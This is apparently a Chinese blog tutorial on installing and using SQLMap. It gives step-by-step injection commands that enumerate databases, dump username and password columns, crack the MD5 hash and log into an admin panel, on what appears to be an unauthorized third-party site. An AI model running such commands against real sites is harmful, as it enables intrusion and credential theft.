前言
上篇我们已经一起学习了手工注入的原理,今天我们将一起学习一款十分著名的,自动化的SQL注入工具 SQLMap。
SQLMap 是什么
SQLMap是开源的自动化SQL注入工具,由Python写成,具有如下特点:
- 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
- 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
- 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
- 支持自动识别密码哈希格式并通过字典破解密码哈希。
- 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
- 支持在数据库管理系统中搜索指定的数据库名、表名或列名
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
安装方法
准备工作:
Windows7 操作系统(在虚拟机里装就OK了)
Python2.7.11 下载地址:https://www.python.org/downloads/
SQLMap 下载地址:http://sqlmap.org/
这里也可以直接在我网盘下载:
链接: https://pan.baidu.com/s/10YU5UdhZwizeEFrSnIGisw 密码: xhgn
Step1. Python2.7.11 安装
1.1 直接双击下载好的安装包,默认,Next :
image.png
1.2 默认,Next :
image.png
1.3 默认,Next :
image.png
1.4 完成:
image.png
1.5 设置环境变量 右击计算机->属性,出现页面后点击高级系统设置(如图):
image.png
1.6 点击环境变量:
image.png
1.7 在系统变量栏中找见 Path 变量 选中并双击:
image.png
1.8 在变量值末尾加入 ;C:\Python27
,确定:
1.9 打开终端输入 python 如图则环境变量配置完成:
image.png
Step2. SQLMap 安装
2.1 将下载好的SQLMap 压缩包,压缩到Python目录下并改名为sqlmap;
2.2 在桌面创建快捷键并命名为SQLMap,如图:
image.png
image.png
2.3 创建好快捷键后 右击->属性 设置起始位置,如图:
image.png
2.4 双击快捷键,输入 sqlmap.py
,如图所示则配置成功:
Step3. 使用方法
实例
3.1
查找注入点,判断方法
- bid=26 and 1=1 页面显示正常。
- bid=26 and 1=2 页面显示不正常。
说明此页面存在注入漏洞。
image.png
3.2 打开SQLMap 扫描注入点是否可用:
image.png语法:sqlmap.py –u "URL地址"
扫描结果:
image.png注入结果展示:
- 注入参数bid 为GET注入,注入类型有三种分别是:boolean-based blind 、 AND/OR time-based blind 、UNION query。
- Web应用程序技术为:Apache
- 数据库类型为:MySQL 5.0.12
在扫描过程中有若干询问语句,需要用户输入[Y/N],如果你不想输入或者不懂怎么输入可以让程序自动输入,只需添加一个参数即可,命令如下:
sqlmap.py –u "URL地址" --batch
3.3 暴库
一条命令即可暴出该MySQL中所有数据库名称,命令如下:
sqlmap.py -u " URL地址" --dbs –batch
参数:
--dbs :dbs前面有两条杠,请看清楚。
扫描结果:
image.png
结果中显示该MySQL 中共包含3个可用的数据库。
3.4 Web 当前使用的数据库
语法:sqlmap.py –u " URL地址" --current-db --batch
扫描结果:
image.png
3.5 Web 数据库使用账户
语法 : sqlmap.py -u " URL地址" --current-user --batch
扫描结果:
image.png
3.6 列出 MySQL 所有用户
语法 : sqlmap.py -u "URL地址" --users --batch
扫描结果:
image.png
3.7 数据库账户与密码
语法:sqlmap.py -u "URL地址" --passwords –batch
没有扫描出来 - _-! 影响不大继续整~
image.png3.8 列出数据库中的表
语法:
sqlmap.py -u "URL地址" –D database_name --tables –batch
参数:
-D:指定数据库名称
--tables:列出表
扫描结果:
image.png结果共列出 25 张表。
3.9 列出表中字段
语法:
sqlmap.py -u " URL地址" -D database_name -T table_name --columns –batch
参数:
-D:指定数据库名称
-T:指定要列出字段的表
--columns:指定列出字段
扫描结果:
image.png
结果显示该表中包含了3条字段。
3.10 暴字段内容
语法:
sqlmap.py -u "URL地址" -D database_name –T table_name -C "password,username" --dump –batch
参数:
-C:指定要暴的字段
--dump:将结果导出
扫描结果:
image.png
3.11 实验结果
通过上图结果得到用户信息为:
Username:******
Password:******
通过MD5解密得到密码原文密码为:******
Step4. 登录后台
拿到账号密码后我们来测试是否可以登录,利用御剑扫描工具扫出后台:
image.png
双击打开:
image.png输入账号密码,登录成功:
image.png注:友情检测,如有侵权请联系删除
小编最近建了交流群方便大家交流学习,群内有小编平时整理的学习资料、视频、工具等。
白帽交流群 【简介】
感谢大家支持。
网友评论
现在网络漏洞不好发现。